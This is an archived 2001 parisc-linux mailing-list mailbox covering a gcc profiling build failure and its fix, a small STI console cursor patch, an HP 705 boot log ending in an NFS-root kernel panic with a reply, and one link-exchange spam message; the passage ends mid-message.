X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] db2 build failed
Date: Thu, 15 Feb 2001 15:20:21 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20010215222021.09E5B38786@carmen.fc.hp.com>
References: <20010206223437.0FAF635CF1@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619868 15656 80.91.229.3 (22 Nov 2014 01:31:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 15:18:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D8524A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 15:18:09 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 0E8BCB96; Thu, 15 Feb 2001 17:18:03 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 09E5B38786; Thu, 15 Feb 2001 15:20:21 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Bdale Garbee <bdale@gag.com> 
   of "Tue, 06 Feb 2001 15:34:35 MST." <20010206223437.0FAF635CF1@rover.gag.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10257

Bdale Garbee writes...

> On the same J, building the Debian db-2.7.7 "db2" libraries fails after 
> building the "important" pieces with the following:
> 
> gcc -g3 -pg  -Ibuild_unix -Iinclude -fPIC -Wall -pipe -D_REENTRANT  -c -o btr
> eec
> cc1: warning: PIC code generation is not compatible with profiling
> 
> btree/bt_compare.c: In function `__bam_cmp':
> btree/bt_compare.c:137: Internal compiler error in output_90, at insn-output.
> c:4

Alan Modra just mentioned that profiling is broken. He is working on a fix.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] basic sti cursor patch
Date: Thu, 15 Feb 2001 23:44:36 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <3A8C5BD4.7A0C5242@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------D691CC0C99CB3804EC0D4D0C"
X-Trace: ger.gmane.org 1416619869 15660 80.91.229.3 (22 Nov 2014 01:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 15:45:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 903AA4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 15:45:19 -0700 (MST)
Original-Received: from esiee.net (pc5158d.esiee.fr [147.215.50.170])
	by mail.esiee.fr (Postfix) with ESMTP
	id 15239D15DE; Thu, 15 Feb 2001 23:45:03 +0100 (CET)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10258

Il s'agit d'un message multivolet au format MIME.
--------------D691CC0C99CB3804EC0D4D0C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Helge,

Here is a patch to get the cursor working on STI..
Of course it's not perfect, but already quite useful as is.
As you can see, this basic cursor is the character on the screen,
with some color attribute (black fg, white bg).

Now we can use vi & emacs, knowing where we are :-)

Xavier.
ESIEE Team.
http://www.esiee.fr/puffin

--------------D691CC0C99CB3804EC0D4D0C
Content-Type: text/plain; charset=us-ascii;
 name="cursor.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="cursor.patch"

diff -rNu linux-cvs/drivers/video/sti/sticon.c linux-cursor/drivers/video/sti/sticon.c
--- linux-cvs/drivers/video/sti/sticon.c	Fri Feb  9 02:42:28 2001
+++ linux-cursor/drivers/video/sti/sticon.c	Thu Feb 15 23:27:53 2001
@@ -94,7 +94,26 @@
 
 static void sticon_cursor(struct vc_data *conp, int mode)
 {
-}
+	unsigned short car1;
+	car1 = conp->vc_screenbuf[conp->vc_x+conp->vc_y*conp->vc_cols];
+	switch (mode) {
+		case CM_ERASE:
+			sti_putc(&default_sti,car1,conp->vc_y,conp->vc_x);
+			break;
+		case CM_MOVE:
+		case CM_DRAW:
+			switch (conp->vc_cursor_type & 0x0f) {
+				case CUR_UNDERLINE:
+				case CUR_LOWER_THIRD:
+				case CUR_LOWER_HALF:
+				case CUR_TWO_THIRDS: 
+				case CUR_BLOCK: 
+					sti_putc(&default_sti,(car1&255)+(0<<8)+(7<<11),conp->vc_y,conp->vc_x);
+					break;
+			}
+			break;
+	}
+}       
 
 static int sticon_scroll(struct vc_data *conp, int t, int b, int dir,
 			int count)

--------------D691CC0C99CB3804EC0D4D0C--





From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: basic sti cursor patch
Date: Fri, 16 Feb 2001 00:07:26 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <01021600072604.01057@P100.helgenet.de>
References: <3A8C5BD4.7A0C5242@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619869 15663 80.91.229.3 (22 Nov 2014 01:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Xavier Debacker <xavier.debacker@esiee.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 16:05:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5734B4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 16:05:12 -0700 (MST)
Original-Received: (qmail 26960 invoked by uid 0); 15 Feb 2001 23:05:08 -0000
Original-Received: from unknown (HELO P100.helgenet.de) (217.4.3.76)
  by mail.gmx.net (mp017-rz3) with SMTP; 15 Feb 2001 23:05:08 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <3A8C5BD4.7A0C5242@esiee.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10259

On Thursday 15 February 2001 23:44, Xavier Debacker wrote:
> Hi Helge,
>
> Here is a patch to get the cursor working on STI..
> Of course it's not perfect, but already quite useful as is.
> As you can see, this basic cursor is the character on the screen,
> with some color attribute (black fg, white bg).
>
> Now we can use vi & emacs, knowing where we are :-)
>
> Xavier.
> ESIEE Team.
> http://www.esiee.fr/puffin

Xavier, thanks a lot for your patch.
I'll check it in into CVS in a few minutes.

Helge.




From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Read <obsidian@panokratie.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Test on 705
Date: Fri, 16 Feb 2001 00:18:53 +0100 (MET)
Lines: 175
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31.0102160013480.22670-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619869 15667 80.91.229.3 (22 Nov 2014 01:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 16:18:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.obsidian.de (unknown [213.69.121.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F6404A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 16:18:14 -0700 (MST)
Original-Received: from kiste.innnet.de (obsidian@kiste.nigga-wg.de [192.168.1.2])
	by mail.obsidian.de (8.11.1/8.11.1) with ESMTP id f1F8GnO15530
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 00:16:49 -0800 (PST)
X-X-Sender: <obsidian@kiste.innnet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10260

Hi folks,

first a little praise: It only took me 2 hours to get up and running and
starting to build me own kernel with palinux! I like your informative
homepage and FAQs! Keep it up!

I booted it up on my 705 (Flounder), further below is the output I got.

It seems it can't get consistent with the memory my ether and SCSI
controller use, and its muttering about DMA too. It didn't find any SCSI
devices and I couldn't find any packets from the box on the net.

I'd be glad to wade the code (I'm no kernel guru by a long way though ;)
or try patches and such!

cu,

		Kevin

-------

Hard booted.
palo ipl kread@kiste Don Feb 15 23:46:37 MET 2001
0/vmlinux 2322502 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100118 first 00100000 n 5
Segment 0 load 00100000 size 1311220 mediaptr 0x1000
Segment 1 load 00242000 size 173144 mediaptr 0x142000
Segment 2 load 00270000 size 197940 mediaptr 0x16d000
Segment 3 load 002a4000 size 8192 mediaptr 0x19e000
Segment 4 load 002cfd08 size 64960 mediaptr 0x1a0d08
branching to kernel entry point 0x00100118
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 3 Model 0
Free memory starts at: 0x102e0000
start_parisc(0x64d24,0x64d24,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0'
PALO initrd 0-0
model   00003020 00000481 00000000 00000000 77d23d72 ffffffff 00000004 0000000d 00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/705
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0x0
2. Flounder Core BA (11) at 0xf082f000, versions 0x8, 0x0, 0x70, 0x0, 0x0
3. Flounder Core SCSI (10) at 0xf0825000, versions 0x8, 0x0, 0x71, 0x0, 0x0
4. Flounder Core LAN (802.3) (10) at 0xf0826000, versions 0x8, 0x0, 0x72, 0x0, 0x0
5. Flounder Core HIL (10) at 0xf0821000, versions 0x8, 0x0, 0x73, 0x0, 0x0
6. Flounder Core RS-232 (10) at 0xf0823000, versions 0x8, 0x0, 0x75, 0x0, 0x0
7. Flounder Core RS-232 (10) at 0xf0822000, versions 0x8, 0x0, 0x75, 0x0, 0x0
8. Flounder Core Centronics (10) at 0xf0824000, versions 0x8, 0x0, 0x74, 0x0, 0x0
9. Flounder Audio (10) at 0xf1000000, versions 0x8, 0x0, 0x7a, 0x0, 0x0
10. Flounder (705) (0) at 0xfffbe000, versions 0x302, 0x0, 0x4, 0x0, 0x81
11. Flounder (1) at 0xfffbf000, versions 0x18, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
CPU(s): 1 x PA7000 (PCX-S) at 35.000000 MHz
Linux version 2.4.0 (kread@kiste) (gcc version 2.96 20000925 (experimental)) #3 Don Feb 15 23:49:59 MET 2001
free_bootmem(0x2e0600, 0x2d1fa00)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 12288
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.10.10.2 console=ttyS0
Calibrating delay loop... 34.71 BogoMIPS
Memory: 45340k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Found HIL at 0xf0821000, IRQ 94
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x8, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or similiar
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
superio: Probe
Could not find Superio IDE !
Could not find Superio USB!
Bah!
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 27 9A C9 IRQ 87.
82596.c $Revision: 1.15 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 3
scsi0: Unable to send Bus Device Reset for target 3
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 4
scsi0: Unable to send Bus Device Reset for target 4
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
Sending BOOTP requests............. timed out!
IP-Config: Auto-configuration of network failed.
Trying to free nonexistent resource <f0826000-f082600b>
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Looking up port of RPC 100003/2 on 10.10.10.2
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get nfsd port number from server, using default
Looking up port of RPC 100005/2 on 10.10.10.2
RPC: sendmsg returned error 229
portmap: RPC call returned error 229
Root-NFS: Unable to get mountd port number from server, using default
RPC: sendmsg returned error 229
mount: RPC call returned error 229
Root-NFS: Server returned error -229 while mounting /tftpboot/(none)
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "nfs" or 02:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 02:00







From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chelsea Lewis <support@seamem.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Link-Exchange Request - Check out your link on our site!
Date: Thu, 15 Feb 2001 15:19:37 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200102152319.PAA06293@isomedia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619870 15669 80.91.229.3 (22 Nov 2014 01:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:10 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 16:19:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 487124A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 16:19:43 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA05400
	for <parisc-linux@puffin.external.hp.com>; Thu, 15 Feb 2001 16:15:11 -0700
Original-Received: (qmail 6074 invoked by uid 15267); 15 Feb 2001 23:19:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6045 invoked from network); 15 Feb 2001 23:19:39 -0000
Original-Received: from gollum.isomedia.com (HELO isomedia.com) (root@207.115.64.29)
  by mailserv2.iuinc.com with SMTP; 15 Feb 2001 23:19:39 -0000
Original-Received: from office-proxy (dlci213-m.isomedia.com [207.115.76.213])
	by isomedia.com (8.9.3/8.9.3) with SMTP id PAA06293
	for <parisc-linux@thepuffingroup.com>; Thu, 15 Feb 2001 15:19:37 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:10261

Attn: Webmaster

Hi, my name is Chelsea Lewis and I am a representative of 1st-Memory Warehouse (http://www.1st-memorywhse.com/) in Redmond,WA. I sent you an email requesting a link-exchange. Your website, www.parisc-linux.org, has a link located at: http://www.1st-memorywhse.com/links/themeindex.html ,under the Linux category. If you would like to trade links, please email me the url of the link to our site and make sure that your site's description and and category on our site is suitable.

If you decide to trade links, I will move your site to the TOP of its links page so that it is very easy to find in our directory. 


Cordially Yours:

Chelsea Athena Lewis
1st-Memory Warehouse

http://www.1st-memorywhse.com

Our description should be: 1st-Memory Warehouse - High Quality, Low-Cost Memory Modules for Macintosh and PC. 

..





From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Test on 705
Date: Fri, 16 Feb 2001 00:33:00 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <3A8C672C.E06566A0@esiee.fr>
References: <Pine.LNX.4.31.0102160013480.22670-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619870 15673 80.91.229.3 (22 Nov 2014 01:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:10 +0000 (UTC)
To: Kevin Read <obsidian@panokratie.de>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 16:33:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8DCD34A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 16:33:04 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 72A3FD15DE; Fri, 16 Feb 2001 00:33:00 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10262

Hi Kevin,

	It seems like you want to boot with the file system via nfs.

This is waht that means:

mount: RPC call returned error 229
Root-NFS: Server returned error -229 while mounting /tftpboot/(none)
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "nfs" or 02:00
Please append a correct "root=" boot option

If it is not what you want, please refer to the PALO Readme or to the
official website PALO How-To

Good Luck, Thomas

ESIEE Team
Visit http://www.esiee.fr/puffin




From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] db2 build failed
Date: Fri, 16 Feb 2001 11:39:03 +1100 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102161130111.5178-100000@front.linuxcare.com.au>
References: <20010215222021.09E5B38786@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619870 15674 80.91.229.3 (22 Nov 2014 01:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:10 +0000 (UTC)
Cc: Bdale Garbee <bdale@gag.com>, parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 17:41:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id D64EF4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 17:41:09 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA07769;
	Fri, 16 Feb 2001 11:39:03 +1100
In-Reply-To: <20010215222021.09E5B38786@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10263

On Thu, 15 Feb 2001, Matt Taggart wrote:

> Alan Modra just mentioned that profiling is broken. He is working on a fix.

And, amazingly, he's just committed a fix.  :-)

Err, "-r devel" branch only, at the moment.  I'm about to move all the
devel stuff down to our mainline.

Alan
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] db2 build failed
Date: Thu, 15 Feb 2001 17:48:54 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20010216004854.5F4A438786@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0102161130111.5178-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619870 15680 80.91.229.3 (22 Nov 2014 01:31:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:10 +0000 (UTC)
Cc: Bdale Garbee <bdale@gag.com>, parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 17:47:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4203A4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 17:47:34 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id E6DBA36C; Thu, 15 Feb 2001 19:46:24 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5F4A438786; Thu, 15 Feb 2001 17:48:54 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Alan Modra <alan@linuxcare.com.au> 
   of "Fri, 16 Feb 2001 11:39:03 EST." <Pine.LNX.4.21.0102161130111.5178-100000@front.linuxcare.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10264

Alan Modra writes...

> On Thu, 15 Feb 2001, Matt Taggart wrote:
> 
> > Alan Modra just mentioned that profiling is broken. He is working on a fix.
> 
> And, amazingly, he's just committed a fix.  :-)

Of course right after I finished building a new xc based on the devel branch :(
I am rebuilding now and will post shortly.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] db2 build failed
Date: Fri, 16 Feb 2001 12:28:48 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102161212030.5178-100000@front.linuxcare.com.au>
References: <20010216004854.5F4A438786@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619871 15684 80.91.229.3 (22 Nov 2014 01:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:11 +0000 (UTC)
Cc: Bdale Garbee <bdale@gag.com>, parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 15 18:31:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90EE44A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 18:31:25 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA09813;
	Fri, 16 Feb 2001 12:28:48 +1100
In-Reply-To: <20010216004854.5F4A438786@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10265

On Thu, 15 Feb 2001, Matt Taggart wrote:

> > And, amazingly, he's just committed a fix.  :-)
> 
> Of course right after I finished building a new xc based on the devel branch :(
> I am rebuilding now and will post shortly.

Sorry.  I thought the fix would take me longer. :)

Note that -p is still not compatible with -fpic (and that means -p is not
OK for hppa64 at all, because there you always get PIC).  I'm not sure of
all the reasons why -p and -fpic are incompatible, but one is to do with
the way the prologue code generates a symbol ref.  _That_ problem will
still generate compiler crashes, but you do get a warning.

Err, I just looked at our glibc support for profiling, gmon/mcount.c, and
